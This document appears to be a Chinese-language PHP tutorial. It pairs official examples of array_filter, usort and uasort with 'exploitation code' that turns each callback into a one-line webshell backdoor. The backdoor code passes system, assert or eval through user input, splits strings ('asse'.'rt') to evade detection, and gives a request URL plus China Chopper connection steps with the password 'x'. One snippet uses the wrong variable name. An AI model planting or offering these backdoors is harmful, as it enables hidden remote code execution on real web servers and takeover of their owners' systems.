array_filter()
array_filter——用回调函数过滤数组中的单元
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
官方示例:
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}
function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}
$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);
echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>
这段代码使用两个自定义函数分别对两个数组的奇数和偶数进行筛选过滤。
利用代码:
<?php
$cmd='whoami';
$arr1=array($cmd);
$shell ='system';
array_filter($array1,$shell);
?>
usort()
usort — 使用用户自定义的比较函数对数组中的值进行排序
usort ( array &$array , callable $value_compare_func ) : bool
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
官方示例:
<?php
function cmp($a, $b)
{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
$a = array(3, 2, 5, 6, 1);
usort($a, "cmp");
foreach ($a as $key => $value) {
echo "$key: $value\n";
//"<br/>"浏览器显示换行,源代码显示<br/>
//"\n"浏览器不显示换行,源代码显示换行
}
?>
结果:0: 1 1: 2 2: 3 3: 5 4: 6
利用代码:
参考:https://xz.aliyun.com/t/252
…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
编写一句话
先放出最终的代码
<?php usort(...$_GET);?>
那么$_GET变量中的值,应该是
[['$a=0','eval($_POST["x"])'],'assert'];
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
也就相当于
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>
最终利用是这样的
?1[]=0&1[]=eval($_POST['x'])&2=assert
上面的一句话,只能在php环境>=5.6才能用
于是更新下,环境>=<5.6都可以的一句话
<?php usort($_GET,'asse'.'rt');?>
使用菜刀链接http://xxx.xx/xx.php??1[]=0&1[]=eval($_POST[‘x’])&2=assert 密码:x
uasort()
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
uasort ( array &$array , callable $value_compare_func ) : bool
官方示例:
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?>
执行结果:
Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 )
Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )
一句话利用代码
<?php
$cmd = $_GET['a'];
$array = array('test', $_POST['m']);
uasort($array, $cmd);
?>
更多利用代码请参考:
奇淫异巧之 PHP 后门